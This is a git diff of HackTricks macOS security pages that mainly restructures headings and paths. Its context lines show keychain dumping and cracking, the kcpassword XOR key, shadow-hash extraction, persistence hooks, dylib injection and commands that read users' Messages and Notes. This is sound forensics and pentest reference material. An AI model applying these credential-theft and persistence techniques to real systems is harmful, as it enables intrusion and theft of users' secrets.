daily`. -## kext +### kext In order to install a KEXT as a startup item, it needs to be **installed in one of the following locations**: @@ -552,9 +550,9 @@ kextunload -b com.apple.driver.ExampleBundle For more information about [**kernel extensions check this section**](mac-os-architecture.md#i-o-kit-drivers). -## **Login Items** +### **Login Items** -In System Preferences -> Users & Groups -> **Login Items** you can find **items to be executed when the user logs in**.\ +In System Preferences -> Users & Groups -> **Login Items** you can find **items to be executed when the user logs in**.\ It it's possible to list them, add and remove from the command line: ```bash @@ -570,7 +568,7 @@ osascript -e 'tell application "System Events" to delete login item "itemname"' These items are stored in the file /Users/\/Library/Application Support/com.apple.backgroundtaskmanagementagent -## At +### At “At tasks” are used to **schedule tasks at specific times**.\ These tasks differ from cron in that **they are one time tasks** t**hat get removed after executing**. However, they will **survive a system restart** so they can’t be ruled out as a potential threat. @@ -589,7 +587,7 @@ echo hello > /tmp/hello | at 1337 If AT tasks aren't enabled the created tasks won't be executed. -## Login/Logout Hooks +### Login/Logout Hooks They are deprecated but can be used to execute commands when a user logs in. @@ -625,7 +623,7 @@ In the previous example we have created and deleted a **LoginHook**, it's also p The root user one is stored in `/private/var/root/Library/Preferences/com.apple.loginwindow.plist` -## Emond +### Emond Apple introduced a logging mechanism called **emond**. It appears it was never fully developed, and development may have been **abandoned** by Apple for other mechanisms, but it remains **available**. @@ -639,7 +637,7 @@ ls -l /private/var/db/emondClients **As this isn't used much, anything in that folder should be suspicious** {% endhint %} -## Startup Items +### Startup Items {% hint style="danger" %} **This is deprecated, so nothing should be found in the following directories.** @@ -689,7 +687,7 @@ RunService "$1" ``` {% endcode %} -## /etc/rc.common +### /etc/rc.common {% hint style="danger" %} **This isn't working in modern MacOS versions** @@ -790,7 +788,7 @@ RunService () } ``` -## Profiles +### Profiles Configuration profiles can force a user to use certain browser settings, DNS proxy settings, or VPN settings. Many other payloads are possible which make them ripe for abuse. @@ -800,14 +798,14 @@ You can enumerate them running: ls -Rl /Library/Managed\ Preferences/ ``` -## Other persistence techniques and tools +### Other persistence techniques and tools * [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift) * [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA) -# Memory Artifacts +## Memory Artifacts -## Swap Files +### Swap Files * **`/private/var/vm/swapfile0`**: This file is used as a **cache when physical memory fills up**. Data in physical memory will be pushed to the swapfile and then swapped back into physical memory if it’s needed again. More than one file can exist in here. For example, you might see swapfile0, swapfile1, and so on. * **`/private/var/vm/sleepimage`**: When OS X goes into **hibernation**, **data stored in memory is put into the sleepimage file**. When the user comes back and wakes the computer, memory is restored from the sleepimage and the user can pick up where they left off. @@ -816,7 +814,7 @@ ls -Rl /Library/Managed\ Preferences/ * However, the encryption of this file might be disabled. Check the out of `sysctl vm.swapusage`. -## Dumping memory with osxpmem +### Dumping memory with osxpmem In order to dump the memory in a MacOS machine you can use [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip). @@ -846,9 +844,9 @@ sudo su cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip; unzip osxpmem-2.1.post4.zip; chown -R root:wheel osxpmem.app/MacPmem.kext; kextload osxpmem.app/MacPmem.kext; osxpmem.app/osxpmem --format raw -o /tmp/dump_mem ``` -# Passwords +## Passwords -## Shadow Passwords +### Shadow Passwords Shadow password is stored withe the users configuration in plists located in **`/var/db/dslocal/nodes/Default/users/`**.\ The following oneliner can be use to dump **all the information about the users** (including hash info): @@ -859,7 +857,7 @@ for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l" [**Scripts like this one**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) or [**this one**](https://github.com/octomagon/davegrohl.git) can be used to transform the hash to **hashcat** **format**. -## Keychain Dump +### Keychain Dump Note that when using the security binary to **dump the passwords decrypted**, several prompts will ask the user to allow this operation. @@ -872,7 +870,7 @@ security dump-keychain | grep -A 5 "keychain" | grep -v "version" #List keychain security dump-keychain -d #Dump all the info, included secrets (the user will be asked for his password, even if root) ``` -## [Keychaindump](https://github.com/juuso/keychaindump) +### [Keychaindump](https://github.com/juuso/keychaindump) The attacker still needs to gain access to the system as well as escalate to **root** privileges in order to run **keychaindump**. This approach comes with its own conditions. As mentioned earlier, **upon login your keychain is unlocked by default** and remains unlocked while you use your system. This is for convenience so that the user doesn’t need to enter their password every time an application wishes to access the keychain. If the user has changed this setting and chosen to lock the keychain after every use, keychaindump will no longer work; it relies on an unlocked keychain to function. @@ -892,7 +890,7 @@ sudo ./keychaindump Base on this comment [https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) it looks like this tools isn't working anymore in Big Sur. {% endhint %} -## chainbreaker +### chainbreaker [**Chainbreaker**](https://github.com/n0fate/chainbreaker) can be used to extract the following types of information from an OSX keychain in a forensically sound manner: @@ -909,14 +907,14 @@ Given the keychain unlock password, a master key obtained using [volafox](https: Without one of these methods of unlocking the Keychain, Chainbreaker will display all other available information. -### Dump keychain keys +#### Dump keychain keys ```bash #Dump all keys of the keychain (without the passwords) python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain ``` -### Dump keychain keys (with passwords) with SystemKey +#### Dump keychain keys (with passwords) with SystemKey ```bash # First, get the keychain decryption key @@ -926,7 +924,7 @@ hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain ``` -### Dump keychain keys (with passwords) cracking the hash +#### Dump keychain keys (with passwords) cracking the hash ```bash # Get the keychain hash @@ -937,7 +935,7 @@ hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain ``` -### Dump keychain keys (with passwords) with memory dump +#### Dump keychain keys (with passwords) with memory dump [Follow these steps](./#dumping-memory-with-osxpmem) to perform a **memory dump** @@ -950,7 +948,7 @@ python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain ``` -### Dump keychain keys (with passwords) using users password +#### Dump keychain keys (with passwords) using users password If you know the users password you can use it to **dump and decrypt keychains that belong to the user**. @@ -959,16 +957,16 @@ If you know the users password you can use it to **dump and decrypt keychains th python2.7 chainbreaker.py --dump-all --password-prompt /Users//Library/Keychains/login.keychain-db ``` -## kcpassword +### kcpassword The **kcpassword** file is a file that holds the **user’s login password**, but only if the system owner has **enabled automatic login**. Therefore, the user will be automatically logged in without being asked for a password (which isn't very secure). The password is stored in the file **`/etc/kcpassword`** xored with the key **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**. If the users password is longer than the key, the key will be reused.\ This makes the password pretty easy to recover, for example using scripts like [**this one**](https://gist.github.com/opshope/32f65875d45215c3677d). -# **Library injection** +## **Library injection** -## Dylib Hijacking +### Dylib Hijacking As in Windows, in MacOS you can also **hijack dylibs** to make **applications** **execute** **arbitrary** **code**.\ However, the way **MacOS** applications **load** libraries is **more restricted** than in Windows. This implies that **malware** developers can still use this technique for **stealth**, but the probably to be able to **abuse this to escalate privileges is much lower**. @@ -986,11 +984,11 @@ The way to **escalate privileges** abusing this functionality would be in the ra **A nice scanner to find missing libraries in applications is** [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) **or a** [**CLI version**](https://github.com/pandazheng/DylibHijack)**.**\ **A nice report with technical details about this technique can be found** [**here**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x)**.** -## **DYLD\_INSERT\_LIBRARIES** +### **DYLD\_INSERT\_LIBRARIES** > This is a colon separated **list of dynamic libraries** to l**oad before the ones specified in the program**. This lets you test new modules of existing dynamic shared libraries that are used in flat-namespace images by loading a temporary dynamic shared library with just the new modules. Note that this has no effect on images built a two-level namespace images using a dynamic shared library unless DYLD\_FORCE\_FLAT\_NAMESPACE is also used. -This is like the [**LD\_PRELOAD on Linux**](../../linux-unix/privilege-escalation/#ld\_preload). +This is like the [**LD\_PRELOAD on Linux**](../../linux-hardening/privilege-escalation/#ld\_preload). This technique may be also **used as an ASEP technique** as every application installed has a plist called "Info.plist" that allows for the **assigning of environmental variables** using a key called `LSEnvironmental`. @@ -1002,9 +1000,9 @@ For example the dynamic loader (dyld) ignores the DYLD\_INSERT\_LIBRARIES enviro For more details on the security features afforded by the hardened runtime, see Apple’s documentation: “[Hardened Runtime](https://developer.apple.com/documentation/security/hardened\_runtime)” {% endhint %} -# Interesting Information in Databases +## Interesting Information in Databases -## Messages +### Messages ```bash sqlite3 $HOME/Library/Messages/chat.db .tables @@ -1014,7 +1012,7 @@ sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets' ``` -## Notifications +### Notifications You can find the Notifications data in `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/` @@ -1025,7 +1023,7 @@ cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/ strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack ``` -## Notes +### Notes The users **notes** can be found in `~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite` @@ -1036,7 +1034,7 @@ sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite .tabl for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select Z_PK from ZICNOTEDATA;"); do sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select writefile('body1.gz.z', ZDATA) from ZICNOTEDATA where Z_PK = '$i';"; zcat body1.gz.Z ; done ``` -# File Extensions Apps +## File Extensions Apps The following line can be useful to find the applications that can open files depending on the extension: @@ -1087,7 +1085,7 @@ grep -A3 CFBundleTypeExtensions Info.plist | grep string svg ``` -# Apple Scripts +## Apple Scripts It's a scripting language used for task automation **interacting with remote processes**. It makes pretty easy to **ask other processes to perform some actions**. **Malware** may abuse these features to abuse functions exported by other processes.\ For example, a malware could **inject arbitrary JS code in browser opened pages**. Or **auto click** some allow permissions requested to the user; @@ -1116,7 +1114,7 @@ and tin this case the content cannot be decompiled even with `osadecompile` However, there are still some tools that can be used to understand this kind of executables, [**read this research for more info**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). The tool [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) with [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) will be very useful to understand how the script works. -# MacOS Red Teaming +## MacOS Red Teaming Red Teaming in **environments where MacOS** is used instead of Windows can be very **different**. In this guide you will find some interesting tricks for this kind of assessments: @@ -1124,13 +1122,13 @@ Red Teaming in **environments where MacOS** is used instead of Windows can be ve [macos-red-teaming.md](macos-red-teaming.md) {% endcontent-ref %} -# MacOS Automatic Enumeration Tools +## MacOS Automatic Enumeration Tools * **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) * **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum\_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum\_osx.rb) * **SwiftBelt**: [https://github.com/cedowens/SwiftBelt](https://github.com/cedowens/SwiftBelt) -# Specific MacOS Commands +## Specific MacOS Commands ```bash #System info @@ -1237,17 +1235,15 @@ sudo apachectl (start|status|restart|stop) #Remove DNS cache dscacheutil -flushcache sudo killall -HUP mDNSResponder - ``` -# References +## References * [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) * [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) * [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet) * [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ) -
Support HackTricks and get benefits! @@ -1263,5 +1259,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/macos/macos-security-and-privilege-escalation/mac-os-architecture.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture.md similarity index 98% rename from macos/macos-security-and-privilege-escalation/mac-os-architecture.md rename to macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture.md index 1d8e4221..ceb2d338 100644 --- a/macos/macos-security-and-privilege-escalation/mac-os-architecture.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture.md @@ -1,5 +1,7 @@ # Mac OS Architecture +## Mac OS Architecture +
Support HackTricks and get benefits! @@ -16,22 +18,21 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+## Kernel -# Kernel - -## XNU +### XNU The heart of Mac OS X is the **XNU kernel**. XNU is basically composed of a **Mach core** (covered in the next section) with supplementary features provided by Berkeley Software Distribution (**BSD**). Additionally, **XNU** is responsible for providing an **environment for kernel drivers called the I/O Kit**. **XNU is a Darwin package**, so all of the source **code** is **freely available**. From a security researcher’s perspective, **Mac OS X feels just like a FreeBSD box with a pretty windowing system** and a large number of custom applications. For the most part, applications written for BSD will compile and run without modification on Mac OS X. All the tools you are accustomed to using in BSD are available in Mac OS X. Nevertheless, the fact that the **XNU kernel contains all the Mach code** means that some day, when you have to dig deeper, you’ll find many differences that may cause you problems and some you may be able to leverage for your own purposes. -## Mach +### Mach Mach was originated as a UNIX-compatible **operating system** back in 1984. One of its primary design **goals** was to be a **microkernel**; that is, to **minimize** the amount of code running in the **kernel** and allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level** Mach tasks. **In XNU, Mach is responsible for many of the low-level operations** you expect from a kernel, such as processor scheduling and multitasking and virtual- memory management. -## BSD +### BSD The **kernel** also involves a large chunk of **code derived from the FreeBSD** code base. This code runs as part of the kernel along with Mach and uses the same address space. The F**reeBSD code within XNU may differ significantly from the original FreeBSD code**, as changes had to be made for it to coexist with Mach. FreeBSD provides many of the remaining operations the kernel needs, including: @@ -44,7 +45,7 @@ The **kernel** also involves a large chunk of **code derived from the FreeBSD** To get an idea of just how complicated the interaction between these two sets of code can be, consider the idea of the fundamental executing unit. **In BSD the fundamental unit is the process. In Mach it is a Mach thread**. The disparity is settled by each BSD-style process being associated with a Mach task consisting of exactly one Mach thread. When the BSD fork() system call is made, the BSD code in the kernel uses Mach calls to create a task and thread structure. Also, it is important to note that both the Mach and BSD layers have different security models. The **Mach security** model is **based** **on** **port** **rights**, and the **BSD** model is based on **process** **ownership**. Disparities between these two models have resulted in a **number of local privilege-escalation vulnerabilities**. Additionally, besides typical system cells, there are Mach traps that allow user-space programs to communicate with the kernel. -## I/O Kit - Drivers +### I/O Kit - Drivers I/O Kit is the open-source, object-oriented, **device-driver framework** in the XNU kernel and is responsible for the addition and management of **dynamically loaded device drivers**. These drivers allow for modular code to be added to the kernel dynamically for use with different hardware, for example. They are located in: @@ -87,13 +88,13 @@ kextload com.apple.iokit.IOReportFamily kextunload com.apple.iokit.IOReportFamily ``` -# Applications +## Applications A kernel without applications isn’t very useful. **Darwin** is the non-Aqua, **open-source core of Mac OS X**. Basically it is all the parts of Mac OS X for which the **source code is available**. The code is made available in the form of a **package that is easy to install**. There are hundreds of **available Darwin packages**, such as X11, GCC, and other GNU tools. Darwin provides many of the applications you may already use in BSD or Linux for Mac OS X. Apple has spent significant time **integrating these packages into their operating system** so that everything behaves nicely and has a consistent look and feel when possible. On the **other** hand, many familiar pieces of Mac OS X are **not open source**. The main missing piece to someone running just the Darwin code will be **Aqua**, the **Mac OS X windowing and graphical-interface environment**. Additionally, most of the common **high-level applications**, such as Safari, Mail, QuickTime, iChat, etc., are not open source (although some of their components are open source). Interestingly, these closed-source applications often **rely on open- source software**, for example, Safari relies on the WebKit project for HTML and JavaScript rendering. **For perhaps this reason, you also typically have many more symbols in these applications when debugging than you would in a Windows environment.** -## **Universal binaries** +### **Universal binaries** Mac OS binaries usually are compiled as universal binaries. A **universal binary** can **support multiple architectures in the same file**. @@ -112,7 +113,7 @@ gcc -arch ppc -arch i386 -o test-universal test.c As you may be thinking usually a universal binary compiled for 2 architectures **doubles the size** of one compiled for just 1 arch. -## Mach-o Format +### Mach-o Format ![](<../../.gitbook/assets/image (559).png>) @@ -138,8 +139,6 @@ Filetypes: * MH\_DYLIB (0x6): A Mach-O dynamic linked library (i.e. .dylib) * MH\_BUNDLE (0x8): A Mach-O bundle (i.e. .bundle) - - **Load commands** This specifies the **layout of the file in memory**. It contains the **location of the symbol table**, the main thread context at the beginning of execution, and which **shared libraries** are required.\ @@ -204,13 +203,11 @@ A Mach-O binary can contain one or **more** **constructors**, that will be **exe The offsets of any constructors are held in the **\_\_mod\_init\_func** section of the **\_\_DATA\_CONST** segment. {% endhint %} - - **Data** The heart of the file is the final region, the data, which consists of a number of segments as laid out in the load-commands region. **Each segment can contain a number of data sections**. Each of these sections **contains code or data** of one particular type. -![](<../../.gitbook/assets/image (507) (3).png>) +![](<../../.gitbook/assets/image (555).png>) **Get the info** @@ -223,7 +220,7 @@ otool -L /bin/ls #Get libraries used by the binary Or you can use the GUI tool [**machoview**](https://sourceforge.net/projects/machoview/). -## Bundles +### Bundles Basically, a bundle is a **directory structure** within the file system. Interestingly, by default this directory **looks like a single object in Finder**. The types of resources contained within a bundle may consist of applications, libraries, images, documentation, header files, etc. All these files are inside `.app/Contents/` @@ -257,7 +254,7 @@ ls -lR /Applications/Safari.app/Contents Contains the **oldest** **version** of **macOS** that the application is compatible with. -## Objective-C +### Objective-C Programs written in Objective-C **retain** their class declarations **when** **compiled** into (Mach-O) binaries. Such class declarations **include** the name and type of: @@ -273,7 +270,7 @@ class-dump Kindle.app Note that this names can be obfuscated to make the reversing of the binary more difficult. -## Native Packages +### Native Packages There are some projects that allow to generate a binary executable by MacOS containing script code which will be executed. Some examples are: @@ -284,7 +281,7 @@ There are some projects that allow to generate a binary executable by MacOS cont * **Electron:** JavaScript, HTML, and CSS. * These binaries will use **Electron Framework.framework**. Moreover, the non-binary components (e.g. JavaScript files) maybe found in the application’s **`Contents/Resources/`** directory, achieved in `.asar` files. These binaries will use Electron Framework.framework. Moreover, the non-binary components (e.g. JavaScript files) maybe found in the application’s **`Contents/Resources/`** directory, achieved in **`.asar` files**. It's possible **unpack** such archives via the **asar** node module, or the **npx** **utility:** `npx asar extract StrongBox.app/Contents/Resources/app.asar appUnpacked`\\ -# References +## References * [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=) * [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) diff --git a/macos/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing.md b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing.md similarity index 100% rename from macos/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing.md rename to macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing.md diff --git a/macos/macos-security-and-privilege-escalation/macos-mdm/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-mdm/README.md similarity index 95% rename from macos/macos-security-and-privilege-escalation/macos-mdm/README.md rename to macos-hardening/macos-security-and-privilege-escalation/macos-mdm/README.md index 01c11514..1812084a 100644 --- a/macos/macos-security-and-privilege-escalation/macos-mdm/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-mdm/README.md @@ -1,5 +1,7 @@ # MacOS MDM +## MacOS MDM +
Support HackTricks and get benefits! @@ -16,10 +18,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+## Basics -# Basics - -## What is MDM (Mobile Device Management)? +### What is MDM (Mobile Device Management)? [Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) is a technology commonly used to **administer end-user computing devices** such as mobile phones, laptops, desktops and tablets. In the case of Apple platforms like iOS, macOS and tvOS, it refers to a specific set of features, APIs and techniques used by administrators to manage these devices. Management of devices via MDM requires a compatible commercial or open-source MDM server that implements support for the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). @@ -27,7 +28,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Requires an **MDM server** which implements support for the MDM protocol * MDM server can **send MDM commands**, such as remote wipe or “install this config” -## Basics What is DEP (Device Enrolment Program)? +### Basics What is DEP (Device Enrolment Program)? The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP) is a service offered by Apple that **simplifies** Mobile Device Management (MDM) **enrollment** by offering **zero-touch configuration** of iOS, macOS, and tvOS devices. Unlike more traditional deployment methods, which require the end-user or administrator to take action to configure a device, or manually enroll with an MDM server, DEP aims to bootstrap this process, **allowing the user to unbox a new Apple device and have it configured for use in the organization almost immediately**. @@ -41,21 +42,21 @@ Administrators can leverage DEP to automatically enroll devices in their organiz Unfortunately, if an organization has not taken additional steps to **protect their MDM enrollment**, a simplified end-user enrollment process through DEP can also mean a simplified process for **attackers to enroll a device of their choosing in the organization’s MDM** server, assuming the "identity" of a corporate device. {% endhint %} -## Basics What is SCEP (Simple Certificate Enrolment Protocol)? +### Basics What is SCEP (Simple Certificate Enrolment Protocol)? * A relatively old protocol, created before TLS and HTTPS were widespread. * Gives clients a standardized way of sending a **Certificate Signing Request** (CSR) for the purpose of being granted a certificate. The client will ask the server to give him a signed certificate. -## What are Configuration Profiles (aka mobileconfigs)? +### What are Configuration Profiles (aka mobileconfigs)? * Apple’s official way of **setting/enforcing system configuration.** * File format that can contain multiple payloads. * Based on property lists (the XML kind). * “can be signed and encrypted to validate their origin, ensure their integrity, and protect their contents.” Basics — Page 70, iOS Security Guide, January 2018. -# Protocols +## Protocols -## MDM +### MDM * Combination of APNs (**Apple server**s) + RESTful API (**MDM** **vendor** servers) * **Communication** occurs between a **device** and a server associated with a **device** **management** **product** @@ -63,7 +64,7 @@ Unfortunately, if an organization has not taken additional steps to **protect th * All over **HTTPS**. MDM servers can be (and are usually) pinned. * Apple grants the MDM vendor an **APNs certificate** for authentication -## DEP +### DEP * **3 APIs**: 1 for resellers, 1 for MDM vendors, 1 for device identity (undocumented): * The so-called [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). This is used by MDM servers to associate DEP profiles with specific devices. @@ -82,7 +83,7 @@ Unfortunately, if an organization has not taken additional steps to **protect th * Additional trusted certificates for server URL (optional pinning) * Extra settings (e.g. which screens to skip in Setup Assistant) -# Steps for enrolment and management +## Steps for enrolment and management 1. Device record creation (Reseller, Apple): The record for the new device is created 2. Device record assignment (Customer): The device is assigned to a MDM server @@ -96,7 +97,7 @@ Unfortunately, if an organization has not taken additional steps to **protect th The file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exports functions that can be considered **high-level "steps"** of the enrolment process. -## Step 4: DEP check-in - Getting the Activation Record +### Step 4: DEP check-in - Getting the Activation Record This part of the process occurs when a **user boots a Mac for the first time** (or after a complete wipe) @@ -125,14 +126,14 @@ It follows a few steps to get the Activation Record performed by **`MCTeslaConfi 2. The JSON payload is encrypted using Absinthe (**`NACSign`**) 3. All requests over HTTPs, built-in root certificates are used -![](<../../../.gitbook/assets/image (566).png>) +![](<../../../.gitbook/assets/image (566) (1).png>) The response is a JSON dictionary with some important data like: * **url**: URL of the MDM vendor host for the activation profile * **anchor-certs**: Array of DER certificates used as trusted anchors -## **Step 5: Profile Retrieval** +### **Step 5: Profile Retrieval** ![](<../../../.gitbook/assets/image (567).png>) @@ -145,9 +146,9 @@ The response is a JSON dictionary with some important data like: * Signed using the **device identity certificate (from APNS)** * **Certificate chain** includes expired **Apple iPhone Device CA** -![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (2).png>) -## Step 6: Profile Installation +### Step 6: Profile Installation * Once retrieved, **profile is stored on the system** * This step begins automatically (if in **setup assistant**) @@ -182,7 +183,7 @@ Typically, **activation profile** provided by an MDM vendor will **include the f * Property: IdentityCertificateUUID * Delivered via SCEP payload -## **Step 7: Listening for MDM commands** +### **Step 7: Listening for MDM commands** * After MDM check-in is complete, vendor can **issue push notifications using APNs** * Upon receipt, handled by **`mdmclient`** @@ -191,9 +192,9 @@ Typically, **activation profile** provided by an MDM vendor will **include the f * **`ServerURLPinningCertificateUUIDs`** for pinning request * **`IdentityCertificateUUID`** for TLS client certificate -# Attacks +## Attacks -## Enrolling Devices in Other Organisations +### Enrolling Devices in Other Organisations As previously commented, in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected: @@ -202,7 +203,7 @@ Therefore, this could be a dangerous entrypoint for attackers if the enrolment p [enrolling-devices-in-other-organisations.md](enrolling-devices-in-other-organisations.md) {% endcontent-ref %} -# **References** +## **References** * [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU) * [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe) diff --git a/macos/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md b/macos-hardening/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md similarity index 100% rename from macos/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md rename to macos-hardening/macos-security-and-privilege-escalation/macos-mdm/enrolling-devices-in-other-organisations.md diff --git a/macos/macos-security-and-privilege-escalation/macos-protocols.md b/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md similarity index 93% rename from macos/macos-security-and-privilege-escalation/macos-protocols.md rename to macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md index 27655acf..7c60ac41 100644 --- a/macos/macos-security-and-privilege-escalation/macos-protocols.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md @@ -1,4 +1,4 @@ - +# MacOS Protocols
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Bonjour +## Bonjour **Bonjour** is an Apple-designed technology that enables computers and **devices located on the same network to learn about services offered** by other computers and devices. It is designed such that any Bonjour-aware device can be plugged into a TCP/IP network and it will **pick an IP address** and make other computers on that network **aware of the services it offers**. Bonjour is sometimes referred to as Rendezvous, **Zero Configuration**, or Zeroconf.\ Zero Configuration Networking, such as Bonjour provides: @@ -28,7 +27,7 @@ Zero Configuration Networking, such as Bonjour provides: The device will get an **IP address in the range 169.254/16** and will check if any other device is using that IP address. If not, it will keep the IP address. Macs keeps an entry in their routing table for this subnet: `netstat -rn | grep 169` -For DNS the **Multicast DNS (mDNS) protocol is used**. [**mDNS** **services** listen in port **5353/UDP**](../../pentesting/5353-udp-multicast-dns-mdns.md), use **regular DNS queries** and use the **multicast address 224.0.0.251** instead of sending the request just to an IP address. Any machine listening these request will respond, usually to a multicast address, so all the devices can update their tables.\ +For DNS the **Multicast DNS (mDNS) protocol is used**. [**mDNS** **services** listen in port **5353/UDP**](../../network-services-pentesting/5353-udp-multicast-dns-mdns.md), use **regular DNS queries** and use the **multicast address 224.0.0.251** instead of sending the request just to an IP address. Any machine listening these request will respond, usually to a multicast address, so all the devices can update their tables.\ Each device will **select its own name** when accessing the network, the device will choose a name **ended in .local** (might be based on the hostname or a completely random one). For **discovering services DNS Service Discovery (DNS-SD)** is used. @@ -92,12 +91,11 @@ If you feel like Bonjour might be more secured **disabled**, you can do so with: sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist ``` -# References +## References * [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=) * [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) -
Support HackTricks and get benefits! @@ -113,5 +111,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/macos/macos-security-and-privilege-escalation/macos-red-teaming.md b/macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming.md similarity index 88% rename from macos/macos-security-and-privilege-escalation/macos-red-teaming.md rename to macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming.md index 73f1d8ae..f348a15c 100644 --- a/macos/macos-security-and-privilege-escalation/macos-red-teaming.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming.md @@ -1,4 +1,4 @@ - +# MacOS Red Teaming
